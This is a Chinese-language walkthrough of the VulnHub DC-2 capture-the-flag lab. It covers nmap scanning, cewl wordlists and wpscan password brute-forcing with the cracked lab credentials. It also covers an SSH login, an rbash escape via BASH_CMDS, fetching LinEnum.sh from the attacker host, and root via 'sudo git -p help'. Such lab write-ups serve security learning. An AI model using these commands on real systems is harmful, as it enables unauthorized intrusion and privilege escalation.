VulnHub 靶机学习No.2 DC-2
靶机运行说明
- 靶机难度:初级
- 攻击机:kali linux,ip地址:192.168.56.102
- 靶机:DC-2,IP地址:192.168.56.104
- 目标:找到5个flag
环境配置
我个人是在vmware中安装的kali,在virtualbox中运行vulnhub系列的靶机
靶机的网络设置:
vmware的网络设置:
kali的网络设置:
具体可以参照这一篇:https://blog.csdn.net/weixin_44214107/article/details/103267896
dc-2特有配置:
需要将dc-2的ip 域名写入到kali的hosts文件中
信息收集
仅开启靶机和kali,使用nmap扫描kali所在的C段
nmap 192.168.56.102/24
扫描结果:
确认靶机的ip为192.168.56.104,对其进行全端口扫描
nmap -sV -p 1-65535 192.168.56.104
发现其开放web服务和ssh服务
访问网页,首先可以知道这是一个wordpress框架的站点(手上的wpscan已经跃跃欲试),然后轻松找到了第flag1
你常规的字典可能不会起作用,作为替代,或许你仅需要cewl
更多的密码总是更好的,但是有时候你或许不能用他们每次都爆破成功
登录一个账号查看下一个flag
如果找不到,就登录其他账号
???完全不造cewl是个什么鬼???内啥,先百度一哈。原来是一款密码生成工具(kali自带)
具体使用说明,可以参考搜索的第一条结果:
https://www.freebuf.com/articles/network/190128.html
wpscan 来枚举一波漏洞插件、漏洞主题、用户名
wpscan --url http://dc-2 -e vp -e vt -e u
没发现啥有严重漏洞的插件、主题,用户倒是跑出来了三个
生成一个user.txt,写入这三个用户名。
关于爆破字典的选择,由于flag1 已经在提示我们(兄dei,别尝试使用rockyou.txt啦,没用的),我就不浪费时间用“错误字典”爆破了,直接用cewl来生成字典吧。
cewl http://dc-2 -w dict.txt
利用wpscan来进行爆破:
wpscan --url http://dc-2 -U user.txt -P dict.txt
成功爆破tom和jerry的密码
wordpress的默认登录路径 /wp-admin
使用jerry/adipiscing 成功登录后,发现flag2
如果你无法通过wordpress来走捷径(也就是说反弹shell),有另一条路可以走。
希望你能够找到另一个入口
用tom/parturient 登录wordpress看看,登录成功,但是连flag2的页面都没有。
题外话:这里爆破成功的两个账号都是很普通的账号,因为登录进去后,看不到插件、主题等选项。如果能够爆破admin账号,那就和EVM靶机一样,可以直接利用msf中的wp_admin_shell_upload 来反弹shell了。
端口扫描时,发现7744端口开着ssh服务,用这两个账号来登录一波
jerry 登录失败
tom 登录成功
ssh -p 7744 tom@192.168.56.104
flag3就在眼前,却无法使用cat命令,如图中所示,这是一个有限制的shell (rbash)。
这时我们可以使用的命令只有less、ls、scp、vi
在网上找到了几篇关于rbash绕过的文章:
https://xz.aliyun.com/t/7642
https://www.freebuf.com/articles/system/188989.html
http://www.oniont.cn/index.php/archives/143.html
BASH_CMDS[a]=/bin/sh;a
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
这时候就可以使用cat命令了
穷困的老汤姆一直追赶着杰瑞,或许他应该su 所有他造成的压力
su? 这是在提示我们把用户从汤姆 su 到杰瑞?
成功拿到flag4
很高兴看到你成功到这,但是你还没有做完
你依然需要拿到最后的flag(那个唯一的真正有价值的falg)
这儿没有提示了,靠你自己吧
继续 git outta here!!!
提权
嘴上说着没有提示了,然后又故意提到git,这是要让我们利用git来提权啊
如果没有告诉我们git呢?用LinEnum.sh来先探测一波
kali新打开一个终端,利用python开启一个http服务
python -m SimpleHTTPServer 8000
cd 到 /tmp 目录,下载kali机器上的LinEnum.sh 脚本,加执行权限,运行脚本并输出到biubiu.txt
cd /tmp
wget http://192.168.56.102:8000/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh > biubiu.txt
查看一下输出结果
vi biubiu.txt
利用git来提权实锤了!
sudo git -p help
然后在出现的 “:” 处输入 !/bin/bash并回车,成功root
成功拿到最后的flag
知识点总结
- 字典生成工具cewl的使用
- ssh 非默认22端口登录
- su [用户] 与 su - [用户] 的区别
- rbash的绕过
- python起一个http服务
- 提权之前,信息收集脚本:LinEnum
- git 提权方法
参考链接:
https://blog.csdn.net/weixin_44214107/article/details/103267896
https://www.freebuf.com/articles/network/190128.html
https://xz.aliyun.com/t/7642
https://www.freebuf.com/articles/system/188989.html
http://www.oniont.cn/index.php/archives/143.html